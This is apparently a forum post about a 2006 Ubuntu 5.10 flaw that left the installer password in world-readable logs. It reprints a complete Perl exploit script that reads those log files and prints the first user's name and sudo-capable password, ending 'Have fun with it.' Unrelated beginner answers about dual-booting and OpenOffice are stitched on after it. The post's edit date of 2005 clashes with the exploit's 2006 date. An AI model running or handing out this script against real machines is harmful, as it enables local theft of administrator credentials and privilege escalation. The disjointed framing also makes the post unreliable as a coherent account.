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This post has been edited by debiankl: May 24 2005, 11:20 AM

On 12th March Ubuntu 510 has security vulnerablity, that Ubuntu 5.10
failed to clean passwords in the installer log files. Since these files were
world-readable, any local user could see the password of the first
user account, which has full sudo privileges by default.

If you have NOT update the security of Ubuntu 5.10, (not using 2.67ubuntu20 (base-config) and 1:4.0.3-37ubuntu8 (passwd) program then used the follow exploit code to demonstrate this security vulnerability. This program will results of showing the userid and password. I hope will this will change your sys admin mind to update Ubuntu5.10

#!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+sourc...adow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{
print "Yes\nNow checking if readable...";
if ( -r $file1 )
{
getinfo($file1);
}
else
{
if ( -r $file2 ) {
getinfo($file2);
}
else {
print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
exit(-2);
}
}
}
else
{
print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
exit(-1);
}

sub getinfo {
my $fn = shift;
print "Yes\nHere come the details...\n\n";
my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
chomp($realname);
chomp($user);
chomp($pass);
print "Real Name: $realname\n";
print "Username: $user\n";
print "Password: $pass\n";
}

Have fun with it.

1. Yes, but for newbie I would not recommend it require because resize existing XP partition (presumed HDD has been preinstalled with XP by manufacturer) for Linux OS plus file backup before resize partition. Otherwise, use vmware workstation (if u have it) on XP then you can run Ubuntu as guest OS on vmware without having to peformed the above resize partitions but you need min 256MB or more memory.

2. Ubuntu installer is GUI based so as Windows too.

3. Plenty of documentation on the Ubuntu website and Ubuntu community web site. It comes with OpenOffice Suite 2.0.x which can read/write MS Word documents file format and export document as PDF file without using Adobe PDF.